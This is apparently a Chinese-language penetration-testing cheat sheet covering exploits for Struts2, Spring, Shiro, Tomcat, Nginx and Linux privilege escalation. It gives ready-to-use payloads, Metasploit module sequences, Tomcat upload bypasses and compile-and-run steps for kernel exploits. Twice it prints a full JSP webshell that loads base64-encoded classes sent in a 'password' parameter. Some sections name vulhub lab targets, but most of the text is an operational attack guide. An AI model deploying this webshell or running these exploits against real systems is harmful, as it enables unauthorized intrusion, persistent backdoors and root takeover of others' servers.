Struts2框架
S2-061(S2-062)命令执行 CVE-2020-17530
利用条件&作用
利用条件: Apache Struts 2.0.0 - 2.5.29
作用:命令执行
利用方法
传参处检测Payload
?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d
检测脚本
使用方法:python struts2-s2-061.py [url]
利用方法(Kali)
msfconsole
search struts
use exploit/multi/http/struts2_multi_eval_ognl
set RHOSTS IP
set SRVHOST IP
run
成功后输入shell即可执行命令
Spring框架
Spring Web Flow框架远程代码执行(CVE-2017-4971)
利用条件&作用
影响版本:Spring WebFlow 2.4.0 - 2.4.4
利用方法
漏洞复现-CVE-2017-4971-Spring Web Flow 远程代码执行
Spring Security OAuth2远程命令执行(CVE-2016-4977)
利用条件&作用
影响版本:2.0.0-2.0.9、1.0.0-1.0.5,有账号密码的前提下实现RCE。
作用:授权状态下远程命令执行
利用方法
示例payload:
http://192.168.74.128:8080/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test
页面最后回显[6]
shiro框架
shiro反序列化漏洞
利用条件&作用
shiro版本<=1.2.4(使用了默认秘钥)
作用: 直接RCE
利用方法
工具:https://github.com/SummerSec/ShiroAttack2/releases
认证绕过漏洞
利用条件&作用
利用条件:Apache Shiro < 1.5.1
作用:绕过登录验证,直接访问后台
利用方法
相关文章: CVE-2020-1957 shiro权限绕过简单分析_0justin0的博客-CSDN博客
简述:当环境存在漏洞时。后台路径为/admin/,需要特定用户登录才可以访问,不然访问/admin/会跳转到登录页。访问url/xxx/..;/admin/,即可绕过权限认证进入后台。
Apache Tomcat
Tomcat 8(开启manager)
漏洞靶场环境
vulhub中的tomcat/tomcat8
利用条件&作用
条件:需要开启tomcat的manager管理页面。URL:http://xxx/manager/html
作用:生成木马
利用方法
爆破出tomcat后台的账号密码
使用kali的msfconsole进行爆破tomcat后台密码
msfconsole
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS <目标主机地址>
set RPORT <目标主机端口>
run
- 制作一句话木马war包,先将下面代码的一句话木马重命名为shell.jsp,然后将shell.jsp压缩为shell.zip,再将shell.zip重命名为shell.war
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("password");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
- 在url/manager/html找到WAR file to deploy,将制作好的shell.war包上传,即可生成木马,然后访问url/shell/shell,jsp,使用蚁剑即可连接,密码password
CVE-2020-1938
漏洞靶场环境
vulhub | tomcat/CVE-2020-1938
利用条件&作用
条件
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6.x
需要开启8009端口AJP协议
作用
- 文件读取
- 如果提前上传了含一句话木马jsp脚本的txt文件,配合文件读取可以反弹SHELL,达到远程RCE
利用方法
- 仅文件读取,使用kali的msfconsole,执行下面代码,即可读取主机内文件
msfconsole
use auxiliary/admin/http/tomcat_ghostcat
set RHOSTS <目标主机>
set FILENAME <主机内文件>
run
CVE-2017-12615
利用条件&作用
利用条件:配置文件/usr/local/tomcat/conf/web.xml,代码块的readonly要为false(非默认设置),导致可以使用PUT方法上传文件
<!-- readonly Is this context "read only", so HTTP -->
<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>
作用:直接上传木马文件GetShell
利用方法
一、PUT方法,文件名添加/绕过上传限制
抓取网页请求包,然后将方法修改为PUT,将路径改为shell.jsp/(注意要在后面加入/,来绕过上传限制),在POST数据位放入一句话木马。
发送数据包后响应状态码为201即为成功。路径为URL/shell.jsp。服务器内路径为/usr/local/tomcat/webapps/ROOT
附:JSP一句话木马,密码password
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("password");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
二、其他上传方法,适用于Windows
1.Windows下不允许文件以空格结尾以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
2.Windows NTFS流Put/a001.jsp::$DATA HTTP/1.1
Nginx
解析配置错误
利用条件&作用
条件:php.ini中cgi.fix_pathinfo=1 ,在php-fpm.conf中security.limit_extensions= 为空时
作用:将图片文件当做PHP解析,可以直接Getshell
利用方法
在条件符合的情况下,上传带一句话木马的图片(或者其他?)文件,例如为url/a.jpg。
只需要url/a.jpg/.php就可以将图片文件当做php来解析
Linux提权
CVE-2021-4034
影响范围
centos/debian系验证
rpm -qa polkit
dpkg -l policykit-1
Debain stretch policykit-1 < 0.105-18+deb9u2
Debain buster policykit-1 < 0.105-25+deb10u1
Debain bookworm, bullseye policykit-1 < 0.105-31.1
Ubuntu 21.10 (Impish Indri) policykit-1 < 0.105-31ubuntu0.1
Ubuntu 21.04 (Hirsute Hippo) policykit-1 Ignored (reached end-of-life)
Ubuntu 20.04 LTS (Focal Fossa) policykit-1 < 0.105-26ubuntu1.2)
Ubuntu 18.04 LTS (Bionic Beaver) policykit-1 <0.105-20ubuntu0.18.04.6)
Ubuntu 16.04 ESM (Xenial Xerus) policykit-1 <0.105-14.1ubuntu0.5+esm1)
Ubuntu 14.04 ESM (Trusty Tahr) policykit-1 <0.105-4ubuntu3.14.04.6+esm1)
CentOS 6 polkit < polkit-0.96-11.el6_10.2
CentOS 7 polkit < polkit-0.112-26.el7_9.1
CentOS 8.0 polkit < polkit-0.115-13.el8_5.1
CentOS 8.2 polkit < polkit-0.115-11.el8_2.2
CentOS 8.4 polkit < polkit-0.115-11.el8_4.2
攻击流程
POC:下载
Github:(CVE-2021-4034)[https://github.com/arthepsy/CVE-2021-4034]
- 先确定是否存在漏洞,将poc解压后的C文件,放到靶机内
- 执行以下命令即可提权
gcc exp.c -o exp
./exp
id
CVE-2022-0847
影响范围
Linux Kernel版本 >= 5.8
Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
Linux内核版本集合下载:
http://ftp.sjtu.edu.cn/sites/ftp.kernel.org/pub/linux/kernel/
https://www.kernel.org/
debian内核安装:https://blog.csdn.net/zhungcan/article/details/110956590
攻击流程
- 保存好编译文件源码
- 解压后的文件扔到靶机
- 执行gcc exp.c -o exp
- ./exp /usr/bin/sudo 注:后面接上拥有SUID权限的文件
CVE-2021-3493
影响范围
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
攻击流程
- 保存好编译文件源码
- 解压后的文件扔到靶机
- 执行gcc exp.c -o exp
- ./exp